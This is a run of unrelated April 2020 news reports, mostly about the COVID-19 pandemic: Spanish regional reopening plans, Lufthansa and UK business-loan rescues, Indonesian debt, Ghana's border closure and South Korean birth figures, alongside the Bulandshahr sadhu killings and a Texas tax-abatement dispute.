Health Minister Illa informed the regional governments that he will take into account the plans that they have presented. While the central government in Madrid has powers over these measures, some regions have made their proposals according to their respective territories. Some, such as the Balearics, Extremadura, Castilla y Leon and Galicia, among others, are calling for different treatment according to the citizens in question, and for rural areas to be treated differently from urban ones, given the incidence of the epidemic and population densities are very different. The virus is here to stay and we have to avoid contact between those who are at greater risk, seniors and children Health chief in Andalusia, Jesus Aguirre Here are some of the other proposals according to region: Andalusia. The regional government is proposing the reopening of bars and restaurants on May 25: 30 minutes for breakfast and 90 minutes for lunches and dinners. The Junta, as the regional government is known, is planning tables with set distances between them, and a maximum of four diners excluding large families who will not be able to share dishes, given that they will be individual and there will be disinfections between sittings. The Junta has also suggested avoiding sales in stores, and that people be allowed out for walks or exercise from May 1, and that entire families be allowed out from May 10. On May 11, hairdressers, beauty salons and businesses would reopen, and from May 18 funerals would restart without wakes Catalonia. The plan proposed by the Catalan regional government does not include dates, but instead involves a system of indicators that classify risks according to the areas where people live, their age, illnesses, etc. According to this they will be classified as low, medium, high or very high, which will determine who can go out first and who would have to do so later. The regional government is working with a 48-page proposal, in which it details these measures. Canary Islands. This region has been one of the least affected by the epidemic, and has an easy task of avoiding new outbreaks given its nature as an island and location. It wants to lead the deescalation process and serve as a testing ground for the process. But for now it will have to wait. Its proposal involves dividing the population into two groups: those who live at addresses with even numbers could go out on even dates, and vice versa. In its second week of deconfinement, the Canarian government would like to open hotels, limiting capacity to 50%. Restaurants, under these plans, would have to wait until the third or fourth week, also with half capacity. Aragon. The region presented a four-phase plan on Monday that would see the smallest municipalities be the first to leave confinement. In areas with fewer than 5,000 inhabitants, hostelry activity could begin bars and restaurants from the second half of May. The limit would be 30 people and a space of at least four square meters per person would be needed, leaving two meters between customers. The Cabinet will have the final say on these measures, however, and the Health Ministry insists that none of them will be definitive, and will always be contingent on hospital capacity and the control of the epidemic. English version by Simon Hunter. Two sadhus were killed in Pagona village in Anoopshahar area of Uttar Pradeshs Bulandshahr district on Monday night. The police have arrested a youth in connection with the case. According to police, the youth had altercation with sadhus over stealing their chimta (tongs). The youth Raju had altercation with sadhu two days ago who charged him of stealing their chimta. He has been arrested from a neighbouring village and has confessed to his crime, said Santosh Singh, SSP, Bulandshahr. Watch: 2 sadhus murdered in Bulandshahr; Priyanka Gandhi calls for fair probe The arrested man was under influence of some toxic substance therefore further interrogation would be conducted soon after he resumes his senses, Singh added. The priests were attacked with a sharp-edged object. Their bodies were found by the villages inside the local temple They have been identified as Jagdish or Rangidas (55) and his disciple Sher Singh (46). Police have been deployed in the area around the temple, Live Hindustan reported. Chief Minister Yogi Adityanath has directed senior officials to visit the village and send him a detail report on the incident. The incident comes more than a week after two sadhus and their driver were lynched by a huge mob outside Gadhchinchale village, 110 kilometre from Palghar in Maharashtra. They were attacked on the suspicion of being child-lifters. The incident in Palghar took place on April 16. It later emerged that the sadhus - 70-year-old Swami Kalpvriksha Giri and 35-year-old Sushil Giri - belonged to Varanasi-based Juna Akhara and were on their way to Gujarat to attend the last rite of their guru Mahant Shri Ram Giri. Asserting that nobody involved in the Palghar mob lynching incident would be spared, Maharashtra Chief Minister Uddhav Thackeray announced a high-level probe by Criminal Investigation Department (CID). The Business Registration and Licensing (BRL) sector in Dubai Economy has reported that 550 Instant Licences were issued during the first quarter of 2020. Among the Instant Licences issued, 73 percent were Commercial and 27 percent were Professional, the government body said in a statement, reported state news agency Wam. The Instant Licence service is the winner of the Flag of the Hamdan bin Mohammed Programme for Smart Government 2019. It enables business owners to obtain their commercial licences in one step, and within five minutes. The initiative is a path-breaking service whereby businessmen can establish and conduct business in Dubai easily with the option to issue an electronic Memorandum of Association, MoA, and a virtual site enough for the first year. The report showed that the number of Instant Licence owners during Q1 2020 reached 1,746 with men accounting for 88 percent of the licence owners. Entrepreneurs who secured Instant Licences during Q1 2020 included those from the UK, South Africa, Saudi Arabia, Egypt, Jordan, India, Pakistan, China, Sudan and the Philippines. The Instant Licence service reduces human interaction through automated licensing procedures and easy access to a business licence. It guarantees that entrepreneurs can start their business activity immediately after the licence is secured, and then complete the remaining requirements of the licence, such as approvals from other relevant government entities. An Instant Licence includes four legal forms - Limited Liability Company, One Person L.L.C, Sole Proprietorship and Civil Company. The market fee for the issuance of the instant licence has been adjusted from Dh3,000 ($816) to Dh250 only, including for general trade activity, which is licensed via eServices only. The same fee applies when the instant licence is renewed. Business owners can obtain online a general commercial licence, which includes General Trade activity, in addition to activities that do not require external approvals and are permitted for both citizens and residents. Furthermore, the licensee is given membership in Dubai Chamber instantly, an establishment card of the General Directorate of Residency & Foreigners Affairs, GDRFA, as well as three work permits for employees from the Ministry of Human Resources & Emiratisation once the trade licence is issued. Share this article Whatsapp Facebook Twitter Linkedin Adrian Wail Akhlas (The Jakarta Post) Jakarta Tue, April 28, 2020 19:05 624 fc6853813033f564188675f8bd4c761f 1 Business government-debt-papers,government-bond,COVID-19,finance-ministry,private-placement,bank-indonesia,World-Bank,Asian-Infrastructure-Investment-Bank Free Indonesia has raised another Rp 62.62 trillion (US$4.05 billion) from government debt papers (SUN) and is in talks with several development banks to raise another $750 million to finance its widening state budget amid the fight against the coronavirus pandemic. The Finance Ministrys director for government debt papers, Deni Ridwan, said the government had issued three series of bonds through private placements with commercial and shariah banks on Monday. Banks are the buyers in the private placements as they look to meet Bank Indonesias new requirement of higher reserves in government bonds, Deni told The Jakarta Post by text message on Tuesday. Bank Indonesia (BI) requires that bank buy government bonds after cutting banks reserve requirement ratio by 200 basis points (bps) for commercial banks and 50 bps for sharia banks, providing the financial system with Rp 102 trillion in liquidity in a move that is expected to help the government fund the COVID-19 battle, Governor Perry Warjiyo said recently. The government has increased this year's budget financing by raising Rp 1 quadrillion in loans, a 286 percent jump from the original target of Rp 351.9 billion. It will issue nearly Rp 450 trillion worth of pandemic bonds and revise up its bond sales target by Rp 160.2 trillion to Rp 549.6 trillion this year to address the widening budget deficit, which could reach 5.07 percent of gross domestic product (GDP). Read also: Explainer: Indonesia to finance coronavirus battle mostly through debt The government is also in talks to earn $750 million worth of loans from several development banks, namely the Islamic Development Bank, the World Bank and the Asian Infrastructure Investment Bank (AIIB), Finance Minister Sri Mulyani Indrawati said. COVID-19 emergency funds worth around $200 million to $250 million from the Islamic Development Bank are in the negotiation process, the finance minister said in a statement on Tuesday. The World Bank and the AIIB were also committed to providing $250 million in funds each for Indonesias COVID-19 response, according to the minister. The Asian Development Bank (ADB), meanwhile, has approved $1.5 billion in loans to support Indonesias efforts to strengthen public health and the economy. Previously, the country has raised $4.3 billion in dollar-denominated bonds, including the longest-dated 50-year US dollar bond ever issued by an Asian nation, earlier this month. It also sold around Rp 14 trillion of sharia sovereign bonds last week. The central bank has bought Rp 1.72 trillion in a regular auction on Tuesday last week. It has also bought Rp 2.93 trillion on Wednesday in a "greenshoe option", BIs head of monetary operations Nanang Hendarsah said according to Reuters. Regulation in Lieu of Law No. 1/2020 issued in March allows the central bank to purchase government bonds directly at auction. Previously, the central bank was only allowed to buy government bonds in the secondary market. Read also: Indonesia to issue Rp 450 trillion in 'pandemic bonds' to finance COVID-19 fight Fitch Solutions expects Indonesias government debt to average 45.3 percent of GDP between 2020 and 2023 compared to 33.1 percent of GDP in the past five years, as the government rolled out tax incentives, including permanent corporate income tax cuts. As a result, the public debt load is likely to increase significantly during this period, even with offsetting tax policies, Fitch noted. It is likely that the ownership structure of government securities will change to some extent with foreign investors lowering their holdings considerably and BI seen to expand its balance sheet. Fitch, however, expressed confidence that, once the worst was over, Sri Mulyani will ramp up efforts to bring government spending back in line and broaden the revenue base. Uttar Pradesh Chief Minister Yogi Adityanath directed strict action in the case as Opposition leaders targeted his Bharatiya Janata Party government over the crime. Lucknow: Two priests were found murdered at a temple in Bulandshahr district on Tuesday morning, allegedly killed by a local youth. Jagdish (55) and Sher Singh (45) were apparently hit with a lathi at Paguana village's Shiva temple in Anupshahr police station area, police said. The alleged killer was arrested. Uttar Pradesh Chief Minister Yogi Adityanath directed strict action in the case as Opposition leaders targeted his Bharatiya Janata Party government over the crime. Congress leader Priyanka Gandhi and Samajwadi Party chief Akhilesh Yadav said the case should not be politicised, Maharashtra chief minister Uddhav Thackeray spoke to Adityanath, expressing concern over the killing. Days earlier, Adityanath had made a similar phone call to him over the lynching of two sadhus in Palghar. According to Uttar Pradesh Police, Murari, also known as Raju, was accused by the sadhus two days ago of stealing a pair of tongs used by them. The youth, allegedly under the influence of cannabis, was caught near the temple soon after the two were found dead in the temple. Senior officers rushed to the spot and questioned the man, who told them that after taking bhang on Monday night he went to the temple and killed the sadhus with a lathi lying there. According to one official, the intoxicated youth said he carried out God's will, denying he had any quarrel with the priests. The senior official said the youth will be interrogated at length later as he was still under the influence of the drug. Villagers caught the youth when he was spotted roaming naked about two kilometres from the scene of the crime, police said. Some reports said he was carrying a sword and initially police said the two priests were hacked to death. Yogi Adityanath directed strict action in the case and sought a detailed report from officials. Congress general secretary Priyanka Gandhi Vadra also called for a through probe. "Today, two sadhus sleeping in a temple in Bulandshahr have been killed mercilessly. There should be a thorough probe into such heinous crimes and no one should politicise these incidents at such a time," she tweeted in Hindi. She claimed 100 people have been killed in Uttar Pradesh in the first 15 days of the month. Samajwadi Party president Akhilesh Yadav also said that such murders should not be politicised. "The brutal killing of two sadhus in the temple complex in Bulandshahr, Uttar Pradesh is extremely condemnable and tragic. Instead of politicising such murders, there is a need to look into the criminal motive or the root cause of such violent mentality, he tweeted. Shiv Sena leader Sanjay Raut called the killings terrible. He appealed not to make the issue communal as they tried in Palghar, in a tweet seen as a jibe at Adityanath. Two sadhus and an associate were lynched recently in Maharashtra's Palghar. Adityanath had then called up Maharashtra chief minister Uddhav Thackeray, asking him to take strict action in that case. Following a disagreement over what specific action should be regarded as the commencement of construction for their oil fractionation facility, the managing director of Raven Petroleum is threatening to pull the project out of Duval County. I have turned this issue over to my legal team to determine the appropriate course of action and if Duval County is still a conducive location for the project, Raven Petroleums Managing Director Christopher Moore wrote in an email to Laredo Morning Times. A tax abatement agreement he signed with Duval in 2018 stipulates that if construction did not begin by Dec. 31, 2019, Raven would owe a $25,000 deferral payment to the county by Jan. 15. Raven cleared 12 of the 832 acres they own for the project, and in a February letter to the county claimed that this constitutes commencement of construction of the South Texas Energy Complex. But the county disagrees. Current Duval County Judge Gilbert Saenz said still no progress has been made at the property other than this clearing of a small portion of the land. Which that in itself ... does not meet the definition of commencement of construction in accordance with our guidelines that Duval County approved in 2018, Saenz said. In his February letter to the county, Moore included a note from former Duval County Judge Ricardo Carrillo, who was in office when the refinery project was unveiled in 2016. He signed the tax abatement agreement weeks prior to losing his seat to Saenz in 2018. In regard to our discussion during the negotiation of the tax agreement ... of when construction commences, I distinctly remember telling you that any activity of clearing and grading of land was sufficient, Carrillo wrote, dated Jan. 28. However a section of the tax agreement specifies that the document itself supersedes all prior agreements and understandings relating to the subject matter, regardless of whether they are written or oral. What constitutes the commencement of construction is not defined in the agreement. Since then, the Duval County Commissioners Court has voted to ensure the tax abatement agreement is complied with, and gave Moore until May 22 to pay this $25,000 or else terminate their agreement to abate 100% of taxes on improvements to the property. It is unfortunate for the people of Duval County that Judge Gilbert Saenz has decided to pursue a short term gain by not honoring the agreement and definition of construction that was made by his predecessor, Moore wrote to LMT. This choice clearly shows a lack of support for the Raven project and the jobs it will bring to South Texas. Saenz said the county only wants to make sure that the agreements they enter into are complied with. Raven or any other company is still encouraged to proceed with any development that will benefit the people of Duval, he said. Since 2016, when we first received information about the potential of the project, we all had hoped that the project would come to fruition, yet at the same time be able to protect the environment and safety of all people, not only in Duval County but in surrounding counties, Saenz said. ... If Ravens going to bring jobs, were all in favor. But we want to make sure these endeavors are in compliance with all laws and all contractual obligations. Julia Wallace may be reached at 956-728-2543 or jwallace@lmtonline.com Lufthansa, locked in tense negotiations over terms of a multibillion-euro state bailout, is considering court protection as a last resort should it fail to reach a deal with the German government, according to people familiar with the matter. The so-called Schutzschirm protection would shield Europe's biggest airline from creditors for three months while it works out a management-led restructuring plan. The specter of a court-supervised proceeding comes as talks with Germany intensify over a rescue that could exceed 8 billion euros ($8.7 billion), said the people, who asked not to be named because the talks are private. One option being discussed includes giving the government seats on the board and the power to block strategic decisions, one person said, terms Lufthansa is loath to accept because they may dent its competitiveness. The carrier is already cutting back its fleet to reflect depressed levels of travel that could last for years after the coronavirus pandemic passes. A spokesperson for Lufthansa said the company was examining all possibilities, while a government official said Germany is seeking a consensus. Major U.S. airlines such as American, Delta and United have been through bankruptcy proceedings over the last two decades, but it's less common for flag carriers in Europe. German airline Condor last year applied for court protection after the demise of U.K. parent Thomas Cook. While talks are continuing and German leaders have promised not to allow Lufthansa to fail, the possibility of creditor protection -- unthinkable before the virus hit -- harks back to the global financial crisis a decade ago when some banks and automakers were restructured under government oversight. The International Air Transport Association has said the coronavirus will lead to $314 billion in lost revenues for airlines, and force many out of business. Lufthansa's management team fears that the terms on offer would limit the airline's ability to compete in Europe against low-cost carriers like Ryanair, and internationally against U.S. and Asian carriers that won't be as indebted in the wake of the crisis, the people said. Lufthansa, which connects Germany to the far-flung export markets on which its economic juggernaught depends, has been wrangling with the government over a package that could amount to more than double the company's market value of about 4 billion euros, said one of the people. Entering into Schutzschirm, or protective shield in German, must be approved by a court, and must be requested before the company is actually unable to pay its bills. The move would give the airline flexibility to part with more than 160 outstanding plane orders on the books of Boeing and Airbus, with the impact potentially rippling through the European planemaker's factories in France, Germany and the U.K. The shares, which rose as much as 12% earlier, were up 2.6% at 2:54 p.m. in Frankfurt. A bailout would follow an even bigger package for European rival Air France, which was unveiled Friday by French and Dutch finance ministers and came after weeks of talks between the airline, banks and the governments. France and the Netherlands pledged as much as 11 billion euros in loans and guarantees that the carrier had said were crucial to its survival. Lufthansa and Air France are the region's two biggest carriers by passenger traffic and considered by the states as too important to fail. German Economics Minister Peter Altmaier has favored a silent participation and a loan package to help Lufthansa through the crisis, but the Social Democrats, Germany's junior coalition partner, have demanded far-reaching control over the day-to-day running of the company in return for a multibillion rescue package. While the Social Democrats seek a veto right with the stake and government representation on the supervisory board, Merkel's party block wants to lower the active stake to below 25% to avoid making the German carrier too political. German government officials came close to hammering out an accord with Lufthansa on Monday, but discussions about the state taking a stake and the limiting of political control are still ongoing, one person said. Companies like Lufthansa should "have the opportunity to get back on their own two feet and turn a profit," Altmaier said on local radio Monday. The company also operates so-called national flag carriers in Austria, Belgium and Switzerland, which could also be involved in the bailout. In an ominous sign for airline employees in the region, Scandinavia's main airline SAS is cutting as many as 5,000 jobs or about 40% of its workforce, becoming the first major European carrier to permanently slash staff numbers following the outbreak of the virus. The number of babies born in South Korea dropped 6.5 percent in February from a year earlier, data showed Tuesday, in the latest evidence underscoring the low birthrate that has plagued Korea's economy for more than a decade. The data compiled by Statistics Korea showed that 22,854 infants were born in February, compared with 25,772 tallied in the same month of 2019. It marks the lowest number of newborns for any February since the statistics agency started compiling monthly data on newborns in 1981. In the first two months of this year, 49,672 babies were born in South Korea, also down 6.1 percent from a year ago. South Korea's total fertility rate hit an all-time low in 2019, a clear sign of its population decline down the road. The country's total fertility rate, which refers to the average number of children a woman bears in her lifetime, came to 0.92 last year, down from 0.98 a year earlier. Last year marked the second consecutive year for the rate to fall below 1. South Korea was the only member of the Organization for Economic Cooperation and Development that had a total fertility rate below 1. The 2019 figure is far below the replacement level of 2.1 that would keep South Korea's population stable at 51 million. It is also a sharp drop from the 4.53 in 1970, when the government began to compile related data. The crude birthrate the number of births per 1,000 people per year also came to a new low of 5.9 in 2019, down from the previous year's 6.4. (Yonhap) Banks have been trying to squeeze extra fees out of businesses in return for helping them through the coronavirus crisis, Britain's banking regulator revealed today. The Financial Conduct Authority (FCA) has written to lenders warning them not to mistreat their customers after learning some were demanding cash for no actual work. Most British banks have already been slammed for approving too few loans under the existing Coronavirus Business Interruption Loan Scheme (CBIL) that was announced last month - or force customer on to their own more expensive deals. So far around 20,000 businesses have received loans worth a total of 3.4billion through the scheme, while 14billion has gone to large companies through a separate scheme overseen by the Bank of England. In the letter sent to banks today, officials from the FCA said they had 'heard credible reports of a small number of banks failing to treat their corporate clients fairly when negotiating new or existing debt facilities, as clients navigate the current exceptional circumstances'. Banks across the City of London were warned about their copnduct today after it emerged some were trying to claim fees from customers during the coronavirus crisis without actually doing any work themselves With businesses struggling to survive the lockdown, many have been forced to turn to shareholders to raise extra cash. Several listed businesses have already announced they raised millions from investors and others are eyeing up their options. Firms struggling to secure emergency loans under government scheme warned to steer clear of brokers charging to 'fast track' applications Cash-strapped firms struggling to secure emergency loans under a government scheme have been warned to steer clear of brokers charging thousands of pounds in fees to 'fast track' their application. Treasury officials and the City watchdog expressed concern after it emerged a Chelmsford-based company is charging 500 upfront, then a percentage of the value of the loan if the application is successful. Despite a recent surge in approvals, banks have been lambasted by MPs and business groups for making it too difficult to obtain a Coronavirus Business Interruption Loan. This has created a lucrative opportunity for loan brokers some of which are charging upfront fees to help firms with their application, whether it is successful or not. Others are charging a percentage of the value of the loan if it is approved on top of, or instead of, this. This is typically charged at up to 3 per cent, which equates to a fee of 15,000 on a 500,000 loan. The development has come to light after a plumbing firm applied to Lloyds for an emergency loan and heard nothing back. Advertisement But raising the cash requires banks' Capital Markets divisions to liaise with investors and whip up interest - usually in return for large fees. However, the FCA said: 'In particular, we have heard reports that banks may have used their lending relationship to exert pressure on corporate clients to secure roles on equity mandates that the issuer would not otherwise appoint them to. 'In some cases, these roles may be 'in name only', with few or no additional services being provided in exchange for a share of the fee pool. We will be looking into this further, but want any practice of this nature to cease immediately. 'We are concerned that tying clients to take additional services, or demanding fees for services not provided is not in the best interests of those clients, distorts competition, undermines market confidence and calls into question firms' and individuals' integrity. 'This conduct is also likely to increase overall transaction costs for corporates trying to raise money.' Officials also reminded banks that each worker registered with the FCA has personal responsibilities and rules to uphold. Banks that offer both lending and services for fundraising from investors, must now conduct a review of their practices, the FCA added. It said: 'If we find further evidence to support these concerns, we will not hesitate to take action, as this conduct has no place in well-functioning markets.' Many firms in need of cash to survive the virus crisis complained that it was slow and complicated to get hold of money as only 80 per cent of the loans were guaranteed by the Government, meaning banks still wanted to perform their own checks. This week firms were thrown a lifeline as the Chancellor announced they will be able to get interest-free loans worth up to 50,000 under a new fast-track scheme. Small businesses have been left struggling to cope as the government effectively put the economy on pause to stop the spread of coronavirus (pictured, Winchester High Street) Chancellor Rishi Sunak unveiled the provision in the latest escalation of the massive bailouts for firms hit by the coronavirus lockdown Rishi Sunak said the 'bounce back' loans will be 100 per cent guaranteed by the Government so there are no hold-ups in getting the money out of the door. Companies will be able to get the loans in just 24 hours thanks to a streamlined application process that will not include lengthy checks by their banks. Business groups last night said they would give hope to thousands of smaller firms, including sole traders, who have struggled to get help through the existing schemes. Mr Sunak five weeks ago announced that up to 330billion in emergency loans was available to businesses, but so far just 17.4billion has been handed out. Smaller companies had complained about the level of bureaucracy they faced from banks to get the loans as they were only partly underwritten by government and most lenders refused to offer loans below 25,000 - more than many wanted to borrow. In a statement to the Commons, Mr Sunak acknowledged that 'some small businesses are still struggling to access credit'. He told MPs: 'They are in many ways the most exposed businesses to the impact of the coronavirus and often find it harder to access credit in the first place. 'If we want to benefit from their dynamism and entrepreneurial spirit as we recover our economy, they will need extra support to get through this crisis.' Under the new 'microloan scheme', firms will be able to get loans worth up to 25 per cent of their turnover, up to a maximum of 50,000. The government will provide lenders with a 100 per cent guarantee for the loans, as well as paying any fees and interest for the first 12 months. Mr Sunak said they would provide a 'simple, quick, easy' solution for smaller firms. Businesses will be able to apply to their banks for the loans from 9am next Monday through a short, standardised online application. The Chancellor said there would be 'no forward-looking test of business viability, no complex eligibility criteria, just a simple, quick standard form for businesses to fill in'. But Mr Sunak rejected calls for the Government to underwrite the other coronavirus loan schemes with a 100 per cent guarantee, insisting his new plan would 'carefully target' the level of state support at those who need it most. In his statement to MPs, the Chancellor warned: 'We should be in no doubt about the seriousness of the economic situation... These are already tough times. There will be more to come. Mr Sunak said he shared with the Prime Minister 'a sense of urgency to want to restart our economy - not least so that we can get people back into work and start creating the tax revenues that we need to pay for our public services'. But he insisted 'we are not there yet', adding: 'Right now the most important thing we can do to protect our economy is to protect the health of our people.' The anxiety felt by thousands of people threatened by hunger during lockdown is a hidden phenomenon, but today the vulnerable spoke out about how food from our appeal partner, The Felix Project, has been a lifeline. A mother and son, deemed high risk and having to self-isolate, told how Felixs deliveries had lifted their spirits in the face of hopelessness. A nurse said meals cooked with fresh Felix produce made her feel that little bit stronger. All told of their relief at being able to access healthy food, thanks to The Felix Project, one of the biggest food redistributors in the country, which has quadrupled daily deliveries to 40 tons since the outbreak of the virus. Yesterday, in a sign of further upward spiralling demand, The Felix Project broke its own record, ferrying an extraordinary 44 tons to 73 schools and charities, with the heftiest deliveries going to 11 community super-hubs set up by councils as part of a pan-London effort to tackle food poverty in the wake of Covid-19. Felix, on its own, is now supplying more than 100,000 meals a day, up from 20,000 at the start of the outbreak. This is what some of the beneficiaries, volunteers and charities had to say. Recommended How to support our campaign Family at high risk Karen Barnes suffers from type 1 diabetes, an underactive thyroid and chronic back pain, and is a carer for her son, Aidan, six, who has health issues that affect his immune system We receive two boxes of Felix-supplied food a week, from Enfield Children and Young Persons Services, as my son and I are both categorised as high risk. We felt a bit hopeless about being in isolation. I dont have much family and you dont want to be a burden on other people. So these boxes are a lifeline. Its exciting when they come as were on our own. The person who delivers them leaves them on my doorstep and we chat. Its a nice interaction." Vicki Williams, co-founder of the BreadnButter project, dropping off food with NHS nurse Kim Pallas (BreadnButter) NHS worker Kim Pallas is a nurse working 12-hour shifts at Barnet Hospital. She picks up dozens of cooked meals to give to her colleagues, made each day by BreadnButter, a social enterprise supplied by The Felix Project. Prior to the pandemic, BreadnButter taught cooking skills to community groups. It has adapted to the crisis by getting between 300 and 600 food parcels and cooked meals out each day to NHS staff and people in the borough having to self-isolate. All the patients in our hospital ward are coronavirus patients so its been difficult very emotional and overwhelming at times. Youre just so grateful when fresh, healthy food is put in front of you and you dont have to think about doing all the cooking, said Ms Pallas. The support of the food charities is making a massive difference to people like us. To know people care enough about you to do this makes you feel that little bit stronger to cope with all thats going on during the crisis. It makes you feel valued. Family living on the edge Magda Bozek and children David, 11, and Ola, six, receive food parcels from The Felix Project (Elliot Wagland/Felix Project) Magda Bozek is a mother of two and part-time administrator at Southgate College. She struggles to make ends meet and has claimed universal credit since her husband died suddenly from lung cancer five months ago. I collect food parcels from my childrens school in Enfield once a week. We are in a very hard situation. When my husband died, my life was turned upside down. I was alone but had to look after my 11-year-old son David and six-year-old daughter Ola. I work so Im lucky, but life is expensive. Felix is a huge help and now that we are in isolation so important. We leave the house once a week to collect our parcel so its the best part of our week. Domestic abuse survivor Justine, 38, is a mother-of-four who escaped an abusive relationship and lives in temporary housing, claiming universal credit. I first heard about The Felix Project through my six-year-old sons school and have been picking up weekly packages since the end of last year. At the moment, we are in isolation and things are tough, but Felix is a lifeline. I have used food banks in the past but they do not provide fresh food. There are luxury items in my Felix boxes that I could never afford, like Innocent Smoothies and mozzarella cheese. Picking up our box from the school is a weekly highlight. I dont know what we would do without it. The charity James Quayle, manager at North Paddington Food Bank, accepts a food delivery from The Felix Project (Lucy Young) James Quayle is manager of North Paddington Food Bank: Before coronavirus we were feeding 100 households per week but now we are supporting more than 600 families. We used to be open one day a week with The Felix Project delivering a single truckload of fresh produce, but since Covid we are open six days a week. "We have increased our volunteers from a couple of dozen to almost 300 and I am working 14-hour days. The only other comparable thing was the start of the Syrian refugee crisis when I was on Lesbos and witnessed people coming off boats. Similarly, this feels like a tidal wave. The volunteers James Smart handles deliveries for Made up Kitchen in Hackney (Made up Kitchen) James Smart, 36, is a volunteer at Made up Kitchen. The Hackney-based project had been bringing various groups together for regular community feasts. It stepped up to the crisis by delivering around 500 nutritious meals each week to people in the area who are struggling financially, thanks to 12 crates of surplus food given by The Felix Project each week. Mr Smart a chef and market trader who had been working at a cheese stall before it had to close is now giving two days a week as one of half a dozen volunteers cooking and coordinating deliveries with Made up Kitchen. Like a lot of people my own situation feels uncertain, he said. This crisis has hit almost everyone in one way or another, which is quite scary. But its great that so many people have been getting out and doing something that matters for their community. Were doing as much as we can right now, but theres a lot of people who will need help. He added: The Felix Project has been such a massive help. Its so important they can operate on such a big scale across London because it makes so much of the work of smaller groups possible. The Independent is encouraging readers to help groups that are trying to feed the hungry across the country find out how you can help here. Follow this link to donate to our campaign in London, in partnership with the Evening Standard. (Newser) President Trump will sign an executive order Tuesday meant to stave off a shortage of chicken, pork, and other meat on American supermarket shelves because of the coronavirus. The order will use the Defense Production Act to classify meat processing as critical infrastructure to keep production plants open. The order comes after industry leaders warned that consumers could see meat shortages in a matter of days after workers at major facilities tested positive for the virus. A senior White House official said the administration was working to prevent a situation in which a majority of processing plants shut down for a period of time, which could lead to an 80% drop in the availability of meat in supermarkets. The official spoke to the AP on condition of anonymity to discuss the order before its release. story continues below Trump told reporters Tuesday that "theres plenty of supply, but that supply chains had hit what he called "sort of a legal roadblock more than anything else." Two of the nations biggest pork processing plants are currently closed. GOP Sen. Mike Rounds of South Dakota had written a letter to Trump asking him to use the DPA to declare the food supply industry an essential industry, warning that consumers would see a meat shortage in a matter of days akin to the earlier panic over toilet paper. The United Food and Commercial Workers International Union said last week that 13 food-processing and meatpacking union workers in the US have died and that an estimated 5,000 are sick or have been exposed to the virus while working near an infected colleague. (Read more meat stories.) Minister of Information, Kojo Oppong Nkrumah has indicated he cannot guarantee an early opening of the country's borders for the return of Ghanaian nationals stuck abroad. As part of pragmatic steps to combat the spread of COVID-19, the Government of Ghana has closed all borders to prevent the entry of persons into the country. The border closure was necessitated after Ghana recorded imported cases of COVID-19 and it's one of the directives by President Nana Akufo-Addo to safeguard the citizens against transmission of the virus. But some nationals are unfortunately caught at the receiving end of the decision, including musicians D-Black, Pappy Kodjoe, Sarkodie and a host of others, with the latter recently pleading with President Akufo-Addo to lift the boder restricitions. But will their call be heeded by the President? Jeopardize Lives of Citizens The Information Minister, in an interview with host Kwami Sefa Kayi on Peace FM's 'Kokrokoo' program, Monday, asserted that until the threat of the pandemic is dealt with, and government is satisified of not jeopardizing the lives of citizens, the borders will remain closed. According to him, one of the major risks of the Coronavirus transmission is the ''risk of importation''. Kojo Oppong Nkrumah explained that ''there is a community spread that needs to be contained. If that is not contained before and the borders are opened, your risk will go higher. It will be like using basket to fetch water and if care is not taken, our case will like that of UK. This is why we took a decision to close our borders''. Minimal Risk of Importation He however noted with concern the inconveniences associated with the border closure but asked the compatriots to exercise patience. "Today, as we talk, our assessment is that the risk has not faded away. Until the risk is dealt with and we have put in place mitigaing measures to minimize the risk in any way now apart from the border closure, we haven't taken decision to open the borders. That is why the President has extended the border closure by two weeks. It is true many people have been inconvenienced." ''Not only traders but I can recall that musician Sarkodie is also stuck abroad . . . we understand our people who are outside. If we had the chance, we would have done something to lift the ban but because of our safety, the borders are closed," he posited. Minister Locked Away He further disclosed a Minister of State is among the Ghanaian nationals who have been locked down abroad due to the pandemic. "Do you know a Minister of State has also been locked abroad? And the decision is that the borders are closed. He (Minister) was on a Ministerial assignment and couldn't come to Ghana before the borders were closed. Some even pleaded to give him a diplomatic flight but the President says the borders are closed." Listen to him in the video below Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video KUALA LUMPUR, April 27 (Xinhua) -- A medical consultant expert team from China held discussions with public health officials, experts and medical personnel in Malaysia's Sarawak state on Monday to share China's experiences of fighting the COVID-19 outbreak. During several sessions held at Kuching, the state capital, the Chinese experts briefed their Malaysian counterparts via face-to-face discussions and video conference on issues related to COVID-19, including the combination of Chinese and Western medicine in treating COVID-19 patients, tests, contact tracing, protection of medics, and resumption of businesses and schools, among others. Experts from the two countries also discussed the treatment on actual cases. Malaysia's deputy health minister Aaron Ago Dagang and Sarawak's minister of housing and local government Sim Kui Hian expressed their appreciation to the Chinese expert team, saying that they believed China's experiences will be helpful for Sarawak to contain the outbreak. The eight-member Chinese expert team, organized by China's National Health Commission and selected by the health commission of Guangdong province, arrived in Malaysia on April 18. A woman who helped organise protests against lockdown restrictions in North Carolina was left unable to attend two events after testing positive for coronavirus. Audrey Whitlock, an administrator of the Facebook page rally group ReOpen NC, said she was under quarantine for two weeks ending on Sunday after testing positive for Covid-19. She now says she intends to attend future rallies after recovering from the disease. The ReOpen NC rallies are one of many protests that have broken out across the US in defiance of lockdown measures that have been introduced to combat the pandemic. Ms Whitlock told the news station WFAE: "I remained in self-isolation at my home per the direction of my county health department. "I have not attended any events for ReOpen NC." ReOpen's Facebook group describes itself as a "peaceful action group" and has more than 60,000 members. While Ms Whitlock was self-isolating, ReOpen NC held two rallies in Raleigh, North Carolina. Hundreds of campaigners gathered to put pressure on Governor Roy Cooper to lift lockdown restrictions that were rolled out on March 30 and are due to last until May 8. Ms Whitlock said she visited an antibody testing laboratory because she was "curious" to see if she had the disease. The ReOpen NC administrator plans to attend another rally on Tuesday. Only a few protestors at last week's rally were seen wearing masks and many reportedly did not maintain a two-metre distance as they packed together at the intersection of Jones and Wilmington streets. Australian Senators Calls for WHO Reform or Exit The Australian Labor Party has said it supports the Morrison Coalition governments calls to reform the World Health Organisation (WHO) after its failure to act transparently during the outbreak of the CCP virus in Wuhan, China. In an opinion piece published in The Sydney Morning Herald on April 27, Labor Senator and shadow foreign minister Penny Wong said the Chinese Communist Partys (CCP) disinformation and efforts to obscure the origin of the Chinese Communist Party (CCP) virus, all the while blaming the worsening of the pandemic on other countries has given succour to its critics. Read More Senator Says Australian Politicians Overreached on Foreign Policy But Supports China Virus Inquiry Before admitting to the outbreak in January, the CCP had denied the 